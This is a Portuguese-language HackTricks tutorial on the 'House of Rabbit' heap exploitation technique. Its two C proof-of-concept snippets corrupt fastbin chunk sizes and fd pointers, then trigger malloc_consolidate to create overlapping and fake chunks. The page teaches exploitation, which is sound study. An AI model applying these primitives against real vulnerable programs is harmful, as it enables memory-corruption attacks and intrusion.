4.8 KiB
Casa do Coelho
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Requisitos
- Capacidade de Modificar o Ponteiro fd ou Tamanho do Fastbin: Isso significa que você pode alterar o ponteiro forward de um pedaço no fastbin ou seu tamanho.
- Capacidade de Acionar
malloc_consolidate
: Isso pode ser feito alocando um grande pedaço ou mesclando o pedaço superior, o que força o heap a consolidar pedaços.
Objetivos
- Criar Pedaços Sobrepostos: Para ter um pedaço sobreposto com outro, permitindo manipulações adicionais no heap.
- Forjar Pedaços Falsos: Para enganar o alocador fazendo com que um pedaço falso seja tratado como um pedaço legítimo durante operações no heap.
Etapas do Ataque
POC 1: Modificar o Tamanho de um Pedaço Fastbin
Objetivo: Criar um pedaço sobreposto manipulando o tamanho de um pedaço fastbin.
- Passo 1: Alocar Pedaços
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
- Passo 2: Liberar Chunks
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
- Passo 3: Modificar o Tamanho do Chunk
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Alteramos os metadados de tamanho do chunk1
para 0xa1. Este é um passo crucial para enganar o alocador durante a consolidação.
- Passo 4: Acionar
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Alocar um grande bloco aciona a função malloc_consolidate
, mesclando pequenos blocos no fastbin. O tamanho manipulado do chunk1
faz com que ele se sobreponha ao chunk2
.
Após a consolidação, o chunk1
se sobrepõe ao chunk2
, permitindo uma exploração adicional.
POC 2: Modificar o Ponteiro FD
Objetivo: Criar um bloco falso manipulando o ponteiro fd do fastbin.
- Passo 1: Alocar Blocos
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Explicação: Alocamos dois blocos, um menor e um maior, para configurar o heap para o bloco falso.
- Passo 2: Criar Bloco Falso
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
- Passo 3: Liberar o Chunk1
free(chunk1); // Frees the chunk at 0x602000
Explicação: Liberamos chunk1
, adicionando-o à lista fastbin.
- Passo 4: Modificar FD do Chunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Explicação: Alteramos o ponteiro para frente (fd) do chunk1
para apontar para o nosso chunk falso dentro do chunk2
.
- Passo 5: Acionar
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Alocar um grande bloco novamente aciona o malloc_consolidate
, que processa o bloco falso.
O bloco falso passa a fazer parte da lista fastbin, tornando-se um bloco legítimo para futuras explorações.
Resumo
A técnica House of Rabbit envolve modificar o tamanho de um bloco fastbin para criar blocos sobrepostos ou manipular o ponteiro fd para criar blocos falsos. Isso permite que os atacantes forjem blocos legítimos no heap, possibilitando várias formas de exploração. Compreender e praticar esses passos irá aprimorar suas habilidades de exploração de heap.